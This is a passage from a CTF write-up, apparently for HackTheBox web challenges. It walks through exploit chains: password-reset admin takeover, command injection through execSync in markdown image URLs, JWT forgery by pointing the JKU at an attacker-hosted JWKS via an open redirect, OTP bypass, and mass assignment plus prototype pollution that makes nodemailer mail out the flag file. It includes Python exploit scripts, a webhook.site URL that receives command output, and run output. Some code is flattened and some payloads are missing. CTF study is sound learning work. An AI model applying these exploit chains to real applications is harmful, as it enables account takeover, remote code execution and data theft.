The task is pretty straightforward, in dispatch weapon functionality, we can insert a description of our weapons in markdown format which will be rendered in server side via parseMarkdown Function in markdown.js. We can also insert image in format  which will be curled from using dangerous function execSync which is an os exec command in js.
below is the route and the endpoint of weapon dispatch the markdown.js which has the command injection vulnerability:
But to access that endpoint, we have to become an admin. How do we do that?
Admin Account Takeover
Remember that this application has reset password functionality? the logic for reset password will be described below:
Active user request reset password token to /reset-password/request
Token sent into requesting user email
User submit the token, email, and new password to /reset-password/
In the point number 3, user has to supply the target email for password reset. Fortunately, there’s no integrity checking that the supplied email is the current user email. Which in this case, we can supplied with admin privileged email and change it’s password. below is the code for password reset:
Now we have admin token which now we able to hit the /weapon/dispatch endpoint. To exploit the remote code execution, we can utilize the command injection vulnerability within the url that being parsed with MarkdownIt. we can use this payload to exploit it:
classMAIL: defdeleteAllVerif(self): r = httpx.get("http://localhost:8080/deleteall")
defgetVerifCode(self): response = httpx.get("http://localhost:8080/") if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') td = soup.find('td', text=lambda t: t and'Use this token to reset your password: 'in t) if td: verification_code = td.text.split('Use this token to reset your password: ')[1].strip() print(f"[+] Verification Code: {verification_code}") return verification_code else: print("Verification code not found.") returnNone else: print(f"Failed to fetch the page. Status code: {response.status_code}") returnNone
webhook = input("Enter your webhook: ") api = API("http://localhost:1337", webhook) mail = MAIL()
if __name__ == "__main__": mail.deleteAllVerif() print(api.register()) print(api.resetPasswordRequest()) verifcode = mail.getVerifCode()
# reset admin password using the verification code print(api.resetPassword(verifcode)) api.login()
#inject command in markdown stat = api.commandInjection() if"successfully"in stat: print("[+] Command injection successful, check your webhook :D")
Web Breaking
Difficulity: Easy
Vulnerability
Open Redirect
Forged JWT via JKU Modification
OTP Broken Logic
Challenge Introduction
Given a web with this functionality:
Register and Login
Make Friends (request, accept, cancle, deny)
Get Analytics, and Redirects
Get Current User Balance
Make Transactions
etc
The task is to drain the admin privilleged user financial-controller@frontier-board.htb CLCR coin, which if we then access the dashboard, we will be served with the flag. Below is the /api/dashboard endpoint and the flag service:
/** * Checks if the financial controller's CLCR wallet is drained * If drained, returns the flag. */ exportconstcheckFinancialControllerDrained = async () => { const balances = awaitgetBalancesForUser(FINANCIAL_CONTROLLER_EMAIL); const clcrBalance = balances.find((coin) => coin.symbol === 'CLCR');
if (!clcrBalance || clcrBalance.availableBalance <= 0) { const flag = (await fs.readFile('/flag.txt', 'utf-8')).trim(); return { drained: true, flag }; }
return { drained: false }; };
To drain the coin, we have to make a transactions from financial-controller@frontier-board.htb (resolved from JWT), to other user. Giving us new problem, to get the admin access.
Admin Account Takeover
The authentication method this application used is using JWT with added JKU in it’s header, below is example of jwt decode structure:
Is kid exists in the header and has the same value with the one in the server
Get jwks via accessing url stated in jku value
Get jwk in the url that has the same kid value as stated in the header
Check if it’s algorithm is RS256
Generate public key via n and e value in jwk
Verify the JWT using the public key
To get admin access, we have to forge our own JWT with our keys. But, by default the jku url is set to http://127.0.0.1:1337/.well-known/jwks.json. Also there’s checking of jku start value as stated in point 2.
How can we set the jku with our own if it have to starts with 127.0.0.1:1337 ??
At this point, the redirect comes into play. Take a look at this redirect functionaliy in /api/analytics/redirect endpoint:
if (!url || !ref) { return reply.status(400).send({ error: 'Missing URL or ref parameter' }); } // TODO: Should we restrict the URLs we redirect users to? try { awaittrackClick(ref, decodeURIComponent(url)); reply.header('Location', decodeURIComponent(url)).status(302).send(); } catch (error) { console.error('[Analytics] Error during redirect:', error.message); reply.status(500).send({ error: 'Failed to track analytics data.' }); } }); ... }
There is no restriction to where we redirect the request in url param. We can utilize this to serve jwks value that contains our public key in our server. Below is the url used for jku:
Cool, now we can forge admin privileged user JWT using our prepared key pair, and served the kid (can be obtained from our jwt), modulus (n) and public exponent (e) in the server, below is example of jwks format served in our server:
Use the JWT we forged, and the application will recognize us as financial-controller@frontier-board.htb.
OTP Broken Logic
Now our target is to drain the financial-controller CLCR coin, this can be achieved by simply hit the /api/crypto/transaction with POST request, set the target email, amount, and coin type. It’s that simple right? or is it?
Sadly no, there’s a middleware with OTP, where we have to send digits number between 0000 to 9999. The problem is, we don’t know the OTP that only declared in the backend and never sent or exposed via the existing API. Bruteforce it? the middleware wont allow you to send more than 5 times, and there’s also a OTP rotation. Below is the OTP and rate limit middleware:
_ = input(f"set this jwks to your server, also set the content type to application/json\n{jwks}\nPress enter to continue")
# check if jwt with admin creds is valid stat, _ = api.accessDashboard() if stat: print("[+] JWT is valid, You are an admin now") else: print("[-] JWT is invalid") exit()
# transfer all balance to user balance = api.getBalance() if api.transferBrutal(balance): print("[+] Transfer success, admin balance is now 0, access dashboard")
# get flag stat, resp = api.accessDashboard() flag = resp.get("flag", None) print(f"[+] Flag: {flag}")
output:
1 2 3 4 5 6 7 8 9
Enter your webhook: https://webhook.site/ec0f6d63-7a4a-492e-8f5b-dbf6ca3a8c77 [+] JWT crafted set this jwks to your server, also set the content type to application/json {"keys": [{"alg": "RS256", "kty": "RSA", "e": "AQAB", "kid": "063c81d6-99ec-43c4-8789-40337951bf4d", "use": "sig", "n": "vJnSJ2YrFIFGI6VFCMhF4rC6II2P5lZDoiw5xDWjtT20QiWHV_uN1U1oWolCVvRDW5w3woYl9Lti9vISysgKMG6vwhlsjBPHiM_EzNJNP_xyRcqtO1-r8VagSS_qDFiq9ZvByTe0vN-i_lKA2L2DxActlZOuro8YJeNqW06j2WN9UDiT-SZrmTGnAG00-q73fridekqbiDK4FiF1KUuWgFiTa3uqHKQGMFPuLTCxlfdOfPgXXBWT7FWbOz1P5VFiSfuDw5pdVUIcF_-JnGb-ThT-8caf8dU8bWBGPsaFhHxBNDloEaQZHrk46TEMaED1_s78gM6Di2oOxf1ULgX_Lw"}]} Press enter to continue [+] JWT is valid, You are an admin now [+] admin clcr balance: 24698894988 [+] Transfer success, admin balance is now 0, access dashboard [+] Flag: HTB{f4k3_fl4g_f0r_t35t1ng}
Web Intergalactic Bounty
Difficulity: Hard
Vulnerability:
Server-Side Prototype Pollution
Mishandled Email Parser
Local File Inclusion
Cross Site Scripting
Server-Side Request Forgery
Denial of Services
Mass Assignment
Challenge Introduction
This challenge was intended to be solved by exploiting the 0-day in email-address npm package. We solved it using unintended way and didn’t use the 0-day approach.
Given a web with these functionalities:
Register
Login
Send and Resend Verification Code
Make, Edit, and View Bounty
Report a Bounty
Visit a link
Get Admin Access
To access any endpoints in the website, we need to have an authorized account, the problem is, the application only allow us to register using [any]@interstellar.htb. Below is the code that represent the restriction:
if (!emailDomain || emailDomain !== 'interstellar.htb') { return res.status(200).json({ message: 'Registration is not allowed for this email domain' }); }
But it didn’t give any green lamp. At this point we almost believe that we must solve this challenge by exploiting a 0-day. But we tried to observe more, maybe there’s another vector that we can use to register. Knowing there’s a resend verify code functionality, we thought:
“Can we register with a valid user, then resend the code to email we control (test@email.htb)?”
Below is detailed tactic:
Register as [someone]@interstellar.htb
resend verification code to ["[someone]@interstellar.htb", "test@email.htb"]
Get the [someone]@interstellar.htb verification code in test@email.htb mailbox
Because if we take a look at the nodemailer sendMail mail options structure, we can use array of target addresses.
1 2 3 4 5 6 7 8
interface Options { /** The e-mail address of the sender. All e-mail addresses can be plain 'sender@server.com' or formatted 'Sender Name <sender@server.com>' */ from?: string | Address | undefined; /** An e-mail address that will appear on the Sender: field */ sender?: string | Address | undefined; /** Comma separated list or an array of recipients e-mail addresses that will appear on the To: field */ to?: string | Address | Array<string | Address> | undefined; ...
We was kinda skeptical on sequelize because we think that findOne will only accept a single string. But surprisingly findOne accepts array as it’s argument. We also can laverage out privillege as admin by adding role: admin parameter in the register payload, which is a mass assignment vulnerability. Below is our payload to register as a valid user that has admin privillage:
Server-Side Prototype Pollution leads to Local File Inclusion
By gaining the admin privillege, we can access more endpoints, such as:
Edit Bounties
Transmit URLs to admin
In edit bounties functionallity, we can edit any fields in the bounty, merge the existed bounty properties value with the one supplied by the editor, then update the data to database. The object merge function used by the app can be seen below:
it recursively set the properties object with from source object. There’s no restriction or whatsoever to protect the mechanism from allowing attacker to write properties in the global object prototype. Below is example how can we write any properties in global object:
1 2 3
"__proto__":{ "properties": "hijacked" }
But directly sending that payload for updating the bounty will return us an error from sequalize:
1 2 3 4 5
2024-12-18 16:19:33 TypeError: this._customSetters[key].call is not a function 2024-12-18 16:19:33 at model.set (/app/node_modules/sequelize/lib/model.js:2256:32) 2024-12-18 16:19:33 at model.set (/app/node_modules/sequelize/lib/model.js:2241:18) 2024-12-18 16:19:33 at model.update (/app/node_modules/sequelize/lib/model.js:2591:10) 2024-12-18 16:19:33 at editBountiesAPI (/app/controllers/bountyController.js:114:16)
the error coming from sequalize, upon searching for clues, we find this writeup. we can bypass the error by setting the fields array to empty sizea, and setting “attributes” to a valid one.
Now we need to find a gadget to either trigger RCE or read the flag. In our case, we found out that we can set an attachment to when we send mail using nodemailer.
1 2 3 4 5
interface Options { ... attachments?: Attachment[] | undefined; /** An array of alternative text contents (in addition to text and html parts) */ ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
interface AttachmentextendsAttachmentLike { /** filename to be reported as the name of the attached file, use of unicode is allowed. If you do not want to use a filename, set this value as false, otherwise a filename is generated automatically */ filename?: string | false | undefined; /** optional content id for using inline images in HTML message source. Using cid sets the default contentDisposition to 'inline' and moves the attachment into a multipart/related mime node, so use it only if you actually want to use this attachment as an embedded image */ cid?: string | undefined; /** If set and content is string, then encodes the content to a Buffer using the specified encoding. Example values: base64, hex, binary etc. Useful if you want to use binary attachments in a JSON formatted e-mail object */ encoding?: string | undefined; /** optional content type for the attachment, if not set will be derived from the filename property */ contentType?: string | undefined; /** optional transfer encoding for the attachment, if not set it will be derived from the contentType property. Example values: quoted-printable, base64. If it is unset then base64 encoding is used for the attachment. If it is set to false then previous default applies (base64 for most, 7bit for text). */ contentTransferEncoding?: "7bit" | "base64" | "quoted-printable" | false | undefined; /** optional content disposition type for the attachment, defaults to ‘attachment’ */ contentDisposition?: "attachment" | "inline" | undefined; /** is an object of additional headers */ headers?: Headers | undefined; /** an optional value that overrides entire node content in the mime message. If used then all other options set for this node are ignored. */ raw?: string | Buffer | Readable | AttachmentLike | undefined; }
Cool, we can use this gadget to send the flag to our mail, below is teh final payload:
if __name__ == "__main__": # Reset the container because the app tends to broken if we fail to use intended pollute os.system("docker rm -f web_intergalatic_bounty") os.system("docker run --name=web_intergalatic_bounty -d --rm -p1337:1337 -p9080:8080 -it web_intergalatic_bounty") sleep(10) api = API("http://localhost:1337") mail = Mail()
#login as admin, and 1 other user api.register("kutikula@interstellar.htb") api.register("mariaban@interstellar.htb")
#check verify token mail.deleteAllVerif() resp = api.sendVerifCode("kutikula@interstellar.htb") if resp.get("status") != 400: api.verifCode = mail.getVerifCode() if api.verifCode: api.submitVerifCode() else: exit()
stat, token = api.login() print(token) stat = api.makeBounty(bounty)
#Trigger Pollution stat = api.updateBounty(7, payload)
#Retrieve the flag # mail.deleteAllVerif() stat = api.sendVerifCode("mariaban@interstellar.htb")